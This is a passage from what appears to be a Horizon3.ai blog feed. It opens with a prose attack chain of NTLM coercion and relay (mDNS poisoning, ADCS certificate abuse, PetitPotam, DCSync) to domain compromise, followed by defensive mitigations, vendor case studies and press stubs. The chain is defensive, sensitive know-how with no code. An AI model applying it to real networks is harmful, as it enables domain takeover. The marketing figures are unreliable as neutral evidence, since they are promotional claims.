  1. NodeZero discovers a host is vulnerable to mDNS poisoning, a passive credential sourcing technique for an NTLM relay attack. NodeZero is able to poison said host, resulting in it starting an authentication session to its relay server with an unprivileged domain user credential. 
  2. NodeZero is able to relay the user credential to ADCS and obtain a certificate for the user. NodeZero is then able to calculate the user’s NTLM hash from the certificate and utilize it to run an authenticated PetitPotam attack against the Domain Controller (DC). 
  3. The DC connects to NodeZero’s relay server – which once again relays to ADCS to now obtain a certificate for the DC.
  4. NodeZero utilizes the PKI certificate for the DC to login and perform a DCSync attack – resulting in the discovery of a Domain Administrator’s credential.
  5. Domain Compromised.

Killing the Attack Chain

The severity of risk NTLM coercion techniques provide in an enterprise network depends on several key factors:

  1. Can an attacker obtain credentials? 
  2. If not – are you patched against known unauthenticated attack methods?
  3. What services could an attacker perform a relay too? What value do they provide?

The questions above highlight several points where an attacker’s use of NTLM Coercion techniques can be minimized and mitigated in the attack chain. Here are a few recommendations:

  1. Patch! Keeping your high value servers up to date will ensure they remain safe against newly discovered unauthenticated attacks such as  CVE-2021-36942 and CVE-2022-26925.
  2. Manage/minimize credential attack surface. All other coercion techniques require a domain user credential. 
    1. This is easier said than done. H3 has highlighted just how typical it is for an attacker to obtain credentials, making this type of attack very difficult to defend against.
  3. Minimize the relay attack surface. 
    1. Disabling ADCS’s vulnerable web endpoints
    2. Enable SMB Signing (Low Risk)
    3. Enable LDAP Signing
    4. Audit Machines with Kerberos Unconstrained Delegation
    5. Disable vulnerable services:
      1. PrinterBug – disable Print Spooler service if not required
      2. ShadowCoerce – disable File Server VSS Agent Service if not required.
    6. Filter vulnerable RPC protocols
    7. Disable NTLM authentication on vulnerable services or enable Extended Protection for Authentication (EPA).
    8. Some EDR solutions, such as Microsoft 365 Defender, provide identity security solutions that will block/identify coercion attacks. 
Direct Mitigations

To mitigate unauthenticated NTLM coercion techniques, administrators should patch their vulnerable instances ASAP. 

Some authenticated techniques can easily be disabled if not being utilized by the enterprise:

  • MS-FSRVP (ShadowCoerce) – disable “File Server VSS Agent Service” on host
  • MS-RPRN (PrinterBug) – disable the Print Spooler service on host

 Others may require an RPC filter to block access to individual protocols if their use is not required. H3 has provided the RPC filters for the following:

Key Takeaways

  • NTLM coercion techniques (such as those utilized by the PetitPotam tool) focus on getting a high value source machine (e.g. a Domain Controller) to authenticate to an attacker-controlled relay server
  • The relay server can relay the authentication material to a myriad of vulnerable target services – providing the attacker access to said target service. Vulnerable Services include:
    • ADCS Web Endpoint (ADCS ESC8)
    • LDAP services with signing disabled
    • Machines with Kerberos Unconstrained Delegation
    • SMB services with signing disabled.
  • PetitPotam != ADCS ESC8
    • Defenders need to mitigate all possible paths that an attacker may utilize to gain additional access in a network if RPC filters are not feasible.
    • SMB Signing Disabled is typically of LOW value for coerced credentials.

In our real-world example, NodeZero was able to compromise the domain in an hour and five minutes using a combination of Man-in-the-Middle techniques, to include using NTLM coercion to relay a Domain Controller’s credentials to an ADCS server. This example highlights the highest level of impact NTLM coercion can have in an environment, but it is only one of several different ways attackers can utilize the technique to gain their objectives.

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post The Elephant In the Room – NTLM Coercion and Understanding Its Impact appeared first on Horizon3.ai.

Horizon3.ai Appoints Torie Runzel as Vice President of People

8 January 2024 at 16:14

Business Wire 01/08/2024

Horizon3.ai, a leading provider of autonomous security solutions, today announced that Torie Runzel has joined as Vice President of People, effective immediately…

Read the entire article here

The post Horizon3.ai Appoints Torie Runzel as Vice President of People appeared first on Horizon3.ai.

Airiam: Turning Cyber Resilience into a Superpower

4 January 2024 at 16:38

How Airiam Cut Vulnerabilities in Half

Airiam is a pioneering managed resilience provider on a mission to ensure its customers minimize cyber risk and maximize business productivity. Airiam works on the frontlines of cyberattacks to inform their solutions while ensuring customers are hardened against cyberattacks and have the built in resilience to bounce back after an incident. Additionally, they aim to build a best-in-class resilience operations center (ROC), empowering their clients with the tools to face any cyber incident and the confidence to “stand back up from any cyberattack.”
As Art Ocain, Airiam’s CISO & Strategic Alliances and Incident Response Product Management Lead, puts it:

“Resilience has become our story and our superpower.”

About Airiam.com

Year Founded: 2021
(but formed out of MSPs and MSSPs that are 20-year-old companies)
Geography Served: Anywhere in the US remotely; Airiam also has offices in Central PA; Rockville, MD; Salisbury, MD; Milwaukee, WI
Number of Employees: 140
Airiam’s incident response team has been on the front lines with consistent ransomware incidents in the last 5 years. With over 75,000 hours on high-profile incidents, this makes them one of the most experienced MSPs/MSSPs in the incident response space. Incident response has shaped how Airiam approaches IT managed services and how they design their service offerings with a tilt toward cyber resilience and business continuity.

Facing a Pentesting Skills Shortage

Pentesting is central to assessing a client’s resilience to cyberattacks and was part of Airiam’s core managed service offering. However, the company often found itself in a battle for talent, struggling to retain pentesting skills in-house. Art explains: “We would hire a pentester and they would leave, then we would hire another pentester, and they would leave…often, we would be asked for pentesting services, but we wouldn’t have someone immediately available in our team, so we would have to outsource or recruit.”

Airiam also needed pentesters to test their own environment, but that lack of skilled resources made it hard to maintain a consistent approach.

When it came to client vulnerability management, Art found that most of the available tools were basic and time-consuming. They were simply scanning the client environment, comparing results with a vulnerability list, and flagging the discrepancies. This lacked the detail and nuance needed to convince clients to act on the results quickly and did not empower them to fix “prioritized” issues first.
Art shares:

Airiam: Vulnerability Management Projects

“It became our problem to prioritize the results and then figure out what to do to remediate…we would put a remediation plan together and take it to the client… but the real obstacle was convincing the client that it was actually worth investing to solve the problem.”

Often, vulnerability scanners are not enough to help keep a company resilient against cyber threat actor attempts to target their environment. Organizations need to shift their “scan and patch” mindset and look for security solutions that “Find, Fix, and Verify” remediations/mitigations immediately and continuously.

Missing out on Sales Opportunities

The pentester shortage was having a commercial impact on Airiam,
causing them to turn away potential business or outsource to another provider. Even with a pentester on staff, that person faced a backlog of hundreds of clients and could not keep up with the growing demand for continuous pentesting.

Demand for pentesting continued to grow, with customers seeking to satisfy compliance requirements, meet cyber insurance stipulations, and provide assurance to their clients. With clear evidence of customer demand, Airiam was missing a major opportunity.

“I felt that pentesting wasn’t something that was really in our wheelhouse…clients were asking for it…but we were leaving money on the table…I also didn’t have the bandwidth to build a comprehensive pentesting practice by hiring several pentesters as well as getting the tooling process and reporting in place,” explains Art.

Enter NodeZeroTM

Keeping an eye open for solutions, Art came across an automated pentesting tool which he implemented as a stopgap and help bolster their “pentesting” capabilities. However, he felt that the tool sill wasn’t meeting expectations of continuous pentesting, and limitations were holding them back from selling this service as a formidable ally against cyberattacks. So, when one of Airiam’s board directors mentioned NodeZero from Horizon3.ai, he booked a demo.

“Thoughtful” pentesting is a game-changer

The first NodeZero demo was game-changing according to Art.

“It looked amazing…it blew everything out of the water in comparison to other products.”

Art was particularly impressed with the work that Horizon3.ai’s attack team does to ensure the product is always at the cutting edge of the threat environment. He said that “the idea of the attack team keeping everything completely up to date when there’s a new vulnerability [CVE] release while also doing their own POC and building it into the system” is a game-changer. “You’re not going to see other products turning a vulnerability into an exploit in less than a month…that blew me away.”

Art went on to describe why the “thoughtful” nature of NodeZero is another key benefit: “NodeZero undertakes a real attack instead of just a ‘hail Mary’ of throwing everything in the world against the machine; it is very thoughtful.” NodeZero empowers customers to make thoughtful decisions through its Find-Fix-Verify loop and continuous pentesting ability.

Airiam: Prioritization & Fix Actions

Art was also thoroughly impressed with NodeZero’s vulnerability prioritization features, explaining that “sometimes you get a lot of vulnerabilities listed that aren’t actually exploitable in your network…NodeZero re-orders things based on relevancy and how the attack is carried out.” NodeZero’s detailed attacks paths allow customers to walk through how an attack could be carried out through the “Eyes of an Attacker”, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment.

Initially, Art ran NodeZero against Airiam’s own datacenter, which hosts several of their clients, and compared the results to the previously tested automated solution. He found that NodeZero’s results were more specific and relevant to his environment: “NodeZero was a lot more thoughtful, and its fix actions are incredible.”
NodeZero’s clean and concise reporting also proved a hit with Art and his team, as it requires minimal work to make reports client ready.

Airiam and NodeZero: Pentesting as a Route to Client Revenue

Since implementing NodeZero, Airiam has deployed it in various ways to deliver great customer experiences and drive adjacent projects. These include:

Complimentary client scanning and project identification: Airiam undertakes a complimentary NodeZero scan that delivers a comprehensive, prioritized vulnerability report. Airiam’s exceptional professional services team devises a remediation plan, with the NodeZero report providing the evidence to convince customers that investment is needed. In this way, Airiam is developing new revenue streams and stronger customer relationships.

Providing peace of mind for clients: Airiam provides scans that help customers meet external compliance requirements, assure partners, and satisfy internal audit and compliance teams that the business is resilient to attacks.

Bundled into MDR Services: Airiam includes NodeZero in its AirGuard™ Plus flagship managed detection and response service, and it is a core feature of the company’s AirAudit™ pentesting-as-a-service (PTaaS) solution. This solution is for clients who are not already managed by Airiam. It’s comprised of a NodeZero pentest and custom-built remediation plan and often proves to be the catalyst that leads to further business opportunities.

A 50% reduction in outstanding vulnerabilities

Airiam: Client Insights

Since deploying NodeZero in its own managed client environment, Airiam has achieved a 50% reduction in outstanding vulnerabilities across their managed customer base. Some of the lower-level vulnerabilities that remain are due to legacy networks or applications, meaning that clients are unable to easily address them. However, in this case, NodeZero enables Airiam to show the client that it has identified the low-level vulnerabilities and suggest defenses such as segmentation so a known vulnerability cannot be exploited.
Art also highlights how the recursive nature of NodeZero means it’s an excellent counterpart to human pentesters, explaining that “humans will see a vulnerability, focus on how they can exploit it, and how that exploit can be stopped, but they won’t look at other routes to exploiting it…NodeZero will keep trying alternative routes to the target.”

He also sees Horizon3.ai’s attack team as a real differentiator. He pointed out that “seeing relevant content where they are working on new initiatives is the superpower to me…it’s not just a robot…you have humans writing exploits and that’s where it’s real.”

“Think of NodeZero as a Resiliency Test for your Organization”

NodeZero in and of itself is a gamechanger for any organization looking for a continuous pentesting solution that enables a proactive and preemptive approach while building resilience against cyber threats. Partnered with other Managed IT solutions such as Airiam, NodeZero becomes an unstopped force.
Art recommends a bold approach for companies evaluating NodeZero:

“Start using it…don’t just run it in some demo network…use it in production on critical systems… use it on client systems…the more you use it, the more you love it.” He goes on to advise anyone doing a trial to, “roll it out widely…thinking of it as a resiliency test for your organization…and if you don’t like it, you can get rid of it…but I’m pretty sure you’ll like it!”

Download PDF

The post Airiam: Turning Cyber Resilience into a Superpower appeared first on Horizon3.ai.

Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing

3 January 2024 at 17:00

How an MSSP Turned NodeZero into a High-Demand Service Offering

Canada’s leading managed security service provider, F12.net delivers reliable and efficient technology solutions to a range of small and medium sized enterprises across Canada. F12’s approach is based on referenceable architectures, elite certifications, and best-inclass cybersecurity. One of the many services that F12 offers is penetration testing. This ethical hacking service helps organizations verify their security approaches, gain valuable cyber risk insight, and demonstrate their security due diligence.

F12.net: Today’s Digital Economy

About F12.net

Year Founded: 1992
Number of Acquisitions: 14
Number of Locations: 11
Geography Served: BC, AB, ONT
Number of Companies Who Have Joined the F12 Family: 14
Number of Employees: 280
Certifications: SOC 2 Type 2 Certified
Ratings: 97% Customer Satisfaction Rating and Award-Winning Support

Underwhelmed with red team exercises

As a large MSSP, F12 regularly undertakes red team exercises to assess its own defenses, and in the past, appointed third-party penetration testers to do the work. Calvin Engen, Chief Technology Officer (CTO) at F12 shares: “Every couple of years we would change who we used for our own penetration tests to experience a different skillset. And so, as those years went on, I just felt that we were not getting a very good work product at the end of the day.”

Calvin observed that there were frequent gaps in the reporting, which was often too technical for a business audience, and the cost of the red team exercise was proportionate to the amount of time the pentester spent focusing on a particular device or devices in the network. As their network is quite large, if they were to evaluate everything in their environment, it simply wouldn’t be economically viable.

Wanted visibility across the entire environment

F12.net: Traditional Pentest Limitations

This manual way of validating the environment did uncover issues for F12 to address, but assessment results weren’t always being delivered in a timely fashion and therefore, it was difficult for Calvin and his team to quickly identify issues such as configuration drift in their environment. The team needed to know when a device hadn’t been set up to the correct standards they have, and they wanted to know if their managed detection and response software was working correctly.

These challenges made F12 realize that there must be a better way. Calvin wanted to regularly assess the entire environment rather than pick and choose the ‘golden endpoint’. He wanted to have complete visibility to understand where the risks were so he could measure and determine any gaps.

At the same time, F12 was referring professional services organizations to undertake pentests for its clients. Calvin was now questioning the efficacy of these projects himself and realized he couldn’t continue to recommend this somewhat ineffective approach.

Discovered a critical vulnerability others missed

Through a survey Calvin participated in, he came across Horizon3.ai for the first time. So, he looked them up and immediately thought, “autonomous penetration testing seems like an interesting concept,” and wanted to learn more about NodeZero. He reached out to Horizon3.ai and requested a demo and proof of value.

Calvin continues: “We had just completed our own penetration test and I was super underwhelmed. Our scoring was low and there was nothing critical to report. Then we kicked off NodeZero, did a scan of our environment, and within a few hours we found a system that was not fully configured. As a result, NodeZero was able to compromise it, then move laterally through the environment, and ended up compromising our whole domain.”

Calvin shared that he was quite surprised that NodeZero was able gain domain admin, but sure enough, when they went through and reviewed the results with their internal team, the results were confirmed.

Zero wait time – immediate rescans

F12 quickly fixed the issue, since it was clear what the vulnerability was and how it had happened. NodeZero helped to make short work of knowing where to go to fix the problem. Immediately afterward, F12 was able to rescan and validate that the fix had worked without having to wait for a penetration tester to confirm the issue was resolved. Calvin adds:

“We then rescanned the entire network and we found more issues; a new machine on the network that wasn’t quite ready to go into production and had a vulnerability. We immediately picked this up. Our environment is changing all the time, as we bring new systems online, so to get this level of visibility is fantastic.”

As a result of the experience, F12 recognized that NodeZero was a red team force multiplier, delivering a better way to execute pentests, not only for their own infrastructure, but for their clients as well. Using NodeZero, F12 could upskill its talent, build out their pentesting team, and using data from NodeZero scans, they could surely make their own customers more secure.

Developed a new service offering

F12 made the decision to use NodeZero and offer penetration testing-as-a-service (PTaaS) to their customers. Calvin adds: “When you have a finite amount of time, you focus on the obvious areas that could be compromised, but malicious actors don’t have time limits; they can move slowly and methodically through your environment. This is what we wanted to be able to do for ourselves and our clients, rather than restrict this exercise based upon time and available budget. You simply cannot outpace what NodeZero does.”

With the help of NodeZero, F12 launched a new service to their customers late last year and is now seeing a wave of requests for pentesting. Their clients often need penetration tests to meet a compliance requirement, for cybersecurity liability insurance purposes, or because clients desire to have an assessment performed. The benefit of using NodeZero is that it is not ‘one and done’ effort that just focuses on a part of the network. Instead, NodeZero can be used to evaluate every single asset across a network at a moment’s notice. F12 now has far more visibility than it ever had before, enabling their team to quickly remediate the most exploitable vulnerabilities for both them and their customers.

F12.net: Weekly Pentests

Now, Calvin is a strong advocate for continuous penetration testing delivered as a service rather than undertaking it as a point-in-time exercise. As a result, F12 has made red team exercises part of its own regular routine with weekly pentests, and they can now respond at a much faster pace if issues are discovered. Calvin adds: “I would rather have NodeZero breaching us than some nefarious actor. We are doing more than most to make sure we are keeping our ourselves and clients secure, helping bolster everyone’s defenses as a result.”

Democratizing red team exercises

Calvin acknowledges the market is beginning to realize that continuous assessments using an autonomous penetration testing platform makes a great deal of sense. He says that most clients know they have security issues, but they don’t have the time, prioritization, and/or budget to regularly undertake red team exercises adding: “Even if the market moves to penetration testing-as-a-service, companies must have a solid foundation in place, because if you don’t have basic cyber hygiene, a penetration test won’t help. Organizations must have a well-disciplined methodology to manage vulnerabilities.”

He recognizes that many businesses are on a journey and his advice is to undertake a gap analysis first to determine where best to spend money. That said, he believes penetration testing will become a pre-requisite in the future. Even today, cyber assurance underwriters require certain capabilities to measure risk, as do many third-party vendor contracts. Likewise, legislation such as DORA, NIST 2, and Bill C 26 in Canada, advocate that organizations have the appropriate critical cyber systems in place and regularly assess their cyber and operational resiliency.

“There is a 95% improvement in the cost to value when using NodeZero to assess each device vs. having a human perform something similar. Of course, that would compound exponentially with more IPs in the environment.”

– Calvin Engen, CTO at F12.net

The outcome: Far more visibility than ever before

Calvin goes on to describe what he thinks about the benefits that NodeZero brings, and he agrees that pentesting is not a one-and-done exercise. “Compared to traditional pentesting, organizations do a vulnerability scan of their network, they have a report, and maybe one or two assets in that environment were thoroughly assessed. In comparison, NodeZero can do all of that in a matter of days, or even hours, across every single asset in an organization. The value that you get by doing this activity, and by leveraging NodeZero, is achieving far more visibility into your environment than you ever had before. And through that visibility, you can really break down the items that are most exploitable and solve for those. I also would say that it’s far more economical to do it with NodeZero than it is to use only people.”

What the future holds

Calvin concludes: “Some organizations are complacent and don’t believe they have anything worth stealing, but attacks are about disrupting the business, so you are in enough pain that you pay up. If you rely on your IT systems to conduct business, then the reality is that you must protect your infrastructure. Organizations must layer in defense-in-depth and understand where they are the weakest. In the future, pentesting will become democratized and more economical as autonomous pentesting becomes ubiquitous within every organization. I am not sure how long that will take, but what I can say is this is the way to do it.”

Download PDF

The post Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing appeared first on Horizon3.ai.

Horizon3.ai Closes Out 2023 With Numerous Honors and Accolades

21 December 2023 at 14:03

Business Wire 12/21/2023

Horizon3.ai, a leading provider of autonomous security solutions, celebrated 2023, a break-out year in which the company was honored with numerous recognitions and prestigious honors…

Read the entire article here

The post Horizon3.ai Closes Out 2023 With Numerous Honors and Accolades appeared first on Horizon3.ai.

❌
❌